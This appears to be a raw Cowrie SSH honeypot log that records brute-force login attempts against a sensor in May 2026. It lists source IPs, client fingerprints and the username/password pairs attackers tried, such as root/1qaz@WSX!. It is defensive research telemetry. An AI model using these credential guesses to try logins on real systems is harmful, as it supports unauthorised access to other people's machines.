{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":15676,"dst_ip":"10.17.0.5","dst_port":22,"session":"60c5a682759b","protocol":"ssh","message":"New connection: 182.253.79.194:15676 (10.17.0.5:22) [session: 60c5a682759b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:44.245461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:44.250291Z","src_ip":"182.253.79.194","session":"60c5a682759b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:44.592838Z","src_ip":"182.253.79.194","session":"60c5a682759b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:45.972257Z","src_ip":"182.253.79.194","session":"60c5a682759b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.225.76","src_port":49628,"dst_ip":"10.17.0.5","dst_port":22,"session":"4012918e1c20","protocol":"ssh","message":"New connection: 15.204.225.76:49628 (10.17.0.5:22) [session: 4012918e1c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:46.842500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:46.849873Z","src_ip":"15.204.225.76","session":"4012918e1c20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:46.860478Z","src_ip":"15.204.225.76","session":"4012918e1c20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"1","message":"login attempt [zimbra/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:46.939712Z","src_ip":"15.204.225.76","session":"4012918e1c20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:47.230685Z","src_ip":"182.253.79.194","session":"60c5a682759b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:47.953200Z","src_ip":"15.204.225.76","session":"4012918e1c20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":59334,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ee637cbc706","protocol":"ssh","message":"New connection: 80.94.92.186:59334 (159.203.135.109:22) [session: 3ee637cbc706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:48.317924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:48.329903Z","src_ip":"80.94.92.186","session":"3ee637cbc706","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:48.430054Z","src_ip":"80.94.92.186","session":"3ee637cbc706","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol321","message":"login attempt [sol/sol321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:48.864648Z","src_ip":"80.94.92.186","session":"3ee637cbc706","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:50.833847Z","src_ip":"80.94.92.186","session":"3ee637cbc706","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.117.97.0","src_port":53760,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b92fe1b55e1","protocol":"ssh","message":"New connection: 40.117.97.0:53760 (10.17.0.5:22) [session: 8b92fe1b55e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:55.536996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:55.542557Z","src_ip":"40.117.97.0","session":"8b92fe1b55e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:55.556310Z","src_ip":"40.117.97.0","session":"8b92fe1b55e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zjc","message":"login attempt [root/zjc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:55.650024Z","src_ip":"40.117.97.0","session":"8b92fe1b55e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:56.673328Z","src_ip":"40.117.97.0","session":"8b92fe1b55e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.20.59","src_port":50330,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc70a111427c","protocol":"ssh","message":"New connection: 150.109.20.59:50330 (10.17.0.5:22) [session: bc70a111427c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:57.656616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:57.662847Z","src_ip":"150.109.20.59","session":"bc70a111427c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:57.907017Z","src_ip":"150.109.20.59","session":"bc70a111427c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"avinash","password":"avinash","message":"login attempt [avinash/avinash] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:58.903441Z","src_ip":"150.109.20.59","session":"bc70a111427c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:00.143965Z","src_ip":"150.109.20.59","session":"bc70a111427c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.90.78","src_port":44672,"dst_ip":"159.203.135.109","dst_port":22,"session":"429beb6c5e9d","protocol":"ssh","message":"New connection: 43.173.90.78:44672 (159.203.135.109:22) [session: 429beb6c5e9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:02.314512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:02.319502Z","src_ip":"43.173.90.78","session":"429beb6c5e9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:02.387975Z","src_ip":"43.173.90.78","session":"429beb6c5e9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX!","message":"login attempt [root/1qaz@WSX!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:02.690470Z","src_ip":"43.173.90.78","session":"429beb6c5e9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:03.762247Z","src_ip":"43.173.90.78","session":"429beb6c5e9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":46230,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e7abe10384d","protocol":"ssh","message":"New connection: 89.108.118.91:46230 (10.17.0.5:22) [session: 4e7abe10384d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:29.414923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:29.420070Z","src_ip":"89.108.118.91","session":"4e7abe10384d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:29.564437Z","src_ip":"89.108.118.91","session":"4e7abe10384d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.225.76","src_port":36316,"dst_ip":"10.17.0.5","dst_port":22,"session":"23629309814f","protocol":"ssh","message":"New connection: 15.204.225.76:36316 (10.17.0.5:22) [session: 23629309814f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:29.932600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:29.937160Z","src_ip":"15.204.225.76","session":"23629309814f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:29.947224Z","src_ip":"15.204.225.76","session":"23629309814f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"krasnodar","message":"login attempt [root/krasnodar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:29.998470Z","src_ip":"89.108.118.91","session":"4e7abe10384d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wW123456","message":"login attempt [root/wW123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:30.030708Z","src_ip":"15.204.225.76","session":"23629309814f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:31.044311Z","src_ip":"15.204.225.76","session":"23629309814f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:31.145701Z","src_ip":"89.108.118.91","session":"4e7abe10384d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":50646,"dst_ip":"10.17.0.5","dst_port":22,"session":"92db9b55b0be","protocol":"ssh","message":"New connection: 77.94.47.83:50646 (10.17.0.5:22) [session: 92db9b55b0be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:33.645677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:33.649749Z","src_ip":"77.94.47.83","session":"92db9b55b0be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-